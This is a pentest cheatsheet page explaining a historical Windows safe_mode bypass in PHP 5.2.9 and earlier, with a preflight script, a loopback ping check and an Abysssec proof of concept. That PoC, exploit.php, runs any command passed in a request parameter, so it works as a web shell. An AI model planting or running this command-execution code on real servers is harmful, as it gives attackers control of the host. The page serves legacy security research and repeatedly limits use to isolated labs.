daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

disable-functions-bypass-php-less-than-5-2-9-on-windows.md (5733B)


      1 ---
      2 title: "PHP <= 5.2.9 Safe Mode Bypass on Windows"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # PHP <= 5.2.9 Safe Mode Bypass on Windows
     14 
     15 This is a historical proof of concept for a Windows-specific `safe_mode` bypass reported against PHP 5.2.9 and earlier. Prefixing a command with a backslash could confuse the old safe-mode command-path construction and still leave Windows with an executable command. PHP tracked the flaw as bug #45997 and fixed it in the PHP 5.2.10 code line.<sup>[[3]](#references)[[4]](#references)</sup>
     16 
     17 This is **not** a generic `disable_functions` bypass. PHP removed `safe_mode` in version 5.4.0, and all affected PHP releases are obsolete. Keep the example only for legacy research environments.<sup>[[2]](#references)</sup>
     18 
     19 > [!WARNING]
     20 > The proof of concept executes the `cmd` request parameter as an operating-system command. Run it only in an isolated, disposable lab.
     21 
     22 ## Preconditions and triage
     23 
     24 The primitive is narrowly scoped; check the environment before trying the file-backed PoC:<sup>[[3]](#references)[[4]](#references)</sup>
     25 
     26 - The target must be a **Windows** PHP build from the affected legacy line (PHP **5.2.9 or earlier**).
     27 - `safe_mode` must be enabled. The known primitive assumes `safe_mode_exec_dir` is empty or otherwise does not rewrite the command into a valid allowed executable.
     28 - At least one affected entry point—`exec()`, `system()`, or `passthru()`—must still be callable. If `exec` is also present in `disable_functions`, the PoC below cannot reach the vulnerable logic.
     29 - The attacker must already be able to execute PHP. The batch-file variant additionally needs a writable current directory, and the child process only receives the web-server account's Windows permissions.
     30 
     31 A compact PHP 5.2-compatible preflight is:
     32 
     33 ```php
     34 <?php
     35 var_dump(PHP_OS, PHP_VERSION);
     36 var_dump(ini_get('safe_mode'), ini_get('safe_mode_exec_dir'));
     37 var_dump(ini_get('disable_functions'));
     38 ?>
     39 ```
     40 
     41 ## Why the leading backslash works
     42 
     43 In the vulnerable `php_exec()` path, PHP split the executable from its arguments, rejected `..`, found the last platform directory separator, and then combined that suffix with `safe_mode_exec_dir`. If the command began with `\`, the separator pointer was the start of the string; with an empty execution directory, the command therefore reached the Windows process launcher as `\command`. The PHP 5.2.10 fix explicitly rejects this case when the first byte is a backslash and returns `Invalid absolute path.` instead.<sup>[[3]](#references)[[4]](#references)</sup>
     44 
     45 The shared code path explains why the primary report names `exec()`, `system()`, and `passthru()`. Do not automatically extend the claim to every process API.<sup>[[3]](#references)[[4]](#references)</sup>
     46 
     47 ## Minimal verification
     48 
     49 The original PHP report used `ping`. Point it at loopback and request one packet for a self-contained check from a Windows command prompt in a disposable PHP 5.2 lab:<sup>[[3]](#references)</sup>
     50 
     51 ```batch
     52 php -n -d safe_mode=on -d safe_mode_exec_dir= -r "exec('\ping -n 1 127.0.0.1', $out, $rc); var_dump($rc, $out);"
     53 ```
     54 
     55 On an affected build, the leading-backslash form executes under the current PHP/web-server identity. On PHP 5.2.10, it should fail with the new invalid-path warning. An empty result on an old build is not automatically proof of patching: first check `disable_functions`, `safe_mode_exec_dir`, `PATH`, and the service account's process-creation permissions.<sup>[[3]](#references)[[4]](#references)</sup>
     56 
     57 ## File-backed web PoC
     58 
     59 The following Abysssec variant creates a batch file, starts it through the same leading-backslash primitive, and reads redirected output from disk.<sup>[[1]](#references)</sup>
     60 
     61 ### exploit.php
     62 ```php
     63 <?php
     64 // Historical Abysssec proof of concept; use only in an isolated legacy lab.
     65 $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
     66 
     67 if ($cmd !== '') {
     68     $batch = fopen('cmd.bat', 'w');
     69     fwrite($batch, $cmd . '>abysssec.txt 2>&1' . "\r\n");
     70     fwrite($batch, 'exit' . "\r\n");
     71     fclose($batch);
     72 
     73     exec('\start cmd.bat');
     74     $output = file_exists('abysssec.txt') ? file_get_contents('abysssec.txt') : '';
     75     echo '<h1>PHP &lt;= 5.2.9 safe-mode bypass</h1>';
     76     echo '<textarea rows="20" cols="60">';
     77     echo htmlspecialchars($output, ENT_QUOTES, 'UTF-8');
     78     echo '</textarea>';
     79 }
     80 ?>
     81 
     82 <form method="post">
     83     <input type="text" name="cmd">
     84     <input type="submit" value="Run command">
     85 </form>
     86 ```
     87 
     88 ### cmd.bat
     89 The PHP proof of concept creates this batch file dynamically. For a standalone lab test, its equivalent contents are:
     90 
     91 ```batch
     92 dir > abysssec.txt 2>&1
     93 exit
     94 ```
     95 
     96 
     97 ## References
     98 
     99 - [1] [Exploit-DB 8799 - PHP 5.2.9 Windows local safe-mode bypass](https://gitlab.com/exploit-database/exploitdb/-/raw/main/exploits/windows_x86/local/8799.txt)
    100 - [2] [PHP 5.4.0 release announcement - removal of safe mode](https://www.php.net/releases/5_4_0.php)
    101 - [3] [PHP Bug #45997 - Windows `safe_mode` bypass](https://bugs.php.net/45997)
    102 - [4] [PHP source fix for bug #45997](https://github.com/php/php-src/commit/4d2e2953448f9e7c9f49a0ad91a1d54bed514b5f)